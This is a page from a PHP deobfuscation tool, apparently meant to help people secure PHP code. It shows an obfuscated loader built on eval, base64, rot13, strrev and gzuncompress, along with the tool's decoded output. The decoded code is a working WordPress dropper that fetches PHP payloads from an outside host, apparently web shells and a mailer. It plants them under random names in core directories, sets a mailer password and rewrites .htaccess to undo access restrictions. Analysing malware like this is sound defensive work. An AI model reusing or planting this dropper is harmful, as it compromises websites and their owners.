Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $PcpMH = 'bas'.'e64'.'_d'.'ecode'; $RXcmM = 's'.'t'.'r'.'_ro'.'t13'; $gaZTt = 'st'.'..

Decoded Output download

 error_reporting(0); $p_olux = str_replace("../", "", "./../wp-admin/njHbv1CIeqk.php"); $p_mailer = str_replace("../", "", "./../wp-content/23V79DbGRxh.php"); $p_xleet = str_replace("../", "", "./../wp-includes/tw4ngFj85rm.php"); $root = str_replace("../", "", "./../"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); }  } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); }  } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "U5zMnLuV3F9", $mailer); save($p_mailer, $mailer); }  } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }

Did this file decode correctly?

Original Code

<?php $PcpMH = 'bas'.'e64'.'_d'.'ecode'; $RXcmM = 's'.'t'.'r'.'_ro'.'t13'; $gaZTt = 'st'.'rre'.'v'; $snBmL = 'gzuncompres'.'s'; ini_set('error_log', NULL); ini_set('display_errors', 0); /**      aledikbtpra     **/ error_reporting(0); ini_set('log_errors', 0); eval($snBmL($gaZTt($RXcmM($PcpMH('wfKl7xf8QiNFzux9h2nVqNMhiqTjkvi5vgxaeIj9tbacR7EXieQTKG7BQGbDLi4M853Owzgf0/mJGdjj5zx63gBWWKAdl8HnwS4AsfVGlGu5c//Nyer3eHBcQ9/LOyXAwRFzULWp4lTrom5JsxJRDQWDGMsGjvD92tF2QkHPh325C5K6KEoggXIwA4J/PwDSgh0s44wnyF0ZCMP83WrJgEDPf+ys00EQiCILMVo3SlnCunBBQUKeZjWbM9S23XxwxGy3XLSA/NF9aeNkfbySxyUtWIiIk4/tqYUHLcoPLJ77DKCy7Xej3s93h8sGVGT/XHzNk/6/XvNOwF9gq30hnhTS7Up5oMI3cUib11yJXBmogr7QonpLaZvSx6eUN/Fo3wlbnUnrYhzsMzqi/w86IZ6s0GCVrThTo3EiddhoptcuyFeKkLHXeorotmku280paKzkuvvUs1sxMzz2zfBHFFayH+iX+P2rNdc0ZGSidIYTThfl5C+c5lhBENVKpglMpWDUdTCrNhltlVeVrUeo2wD1Wwno4zN9EOUzuSy3vTSaor46YmzMkMMkapMXIxZSz09ikxkOerKlSyY0CErciGRjw4XE4VQi9MZ/Sq9wAqKZ4V+0RZ3CgYYY0nsFAGSaSdKOVoJ2D0viLEoIA1yBeCd/TBwHKiaT1L5MKerLVIoqRHWIUr6hUQbGwhkulIVdC5Am9iT4RYyl+fnrax1A7KNgxTjjPXXBu30RkvmGaqsU0xR3ZZkkcF4Rnt4Zw99nyXXF9pcyWfM+/31h1nykLW8mFcChnB868cjxqGzwKcbYFjuOavv310GHDuu2NP8jut7AziLk72b979eODyYNGjsKfFY9VAzr31B7H8c9CCfKCLDu+/HbtwNC3Awdz0Na6kIgUmvjZqdbmJvRFAijxELve4G9jugi82AuE0FvnXmtG64iUVbuEgNv5nuQ1BXXf4SLx0CFFaAK9x8UJnNLBogKeXlMLC9HuLknzDMmQjnMBKI8TiXDAlCX/1cw0di2aEqvvXNTqvi1OAZeKCIlgz8xjGiaPfPW8H6ZvtNQ6pVbhMcJURIM7MYowEuimieZMzff/H27lT6dvXyLERFgwlyVcuJNYvJ1EU1NdprrCIYvmeUgn8GuXjQmVUMtGS9ZyI8ZT2PCeaMZgF2rSp9iQrvLGHMOEkMhllf3/NLQIsnyU7cGTAjHppudJjU4IZh2iOG5Y7ib5sQ32M6Hiiv9EDjaZg1IjZxr'))))); ?>

Function Calls

strrev 1
ini_set 3
str_rot13 1
gzuncompress 1
base64_decode 1
error_reporting 1

Variables

$PcpMH base64_decode
$RXcmM str_rot13
$gaZTt strrev
$snBmL gzuncompress

Stats

MD5 a4c1b239c7abf3385197560bec4f09f5
Eval Count 1
Decode Time 58 ms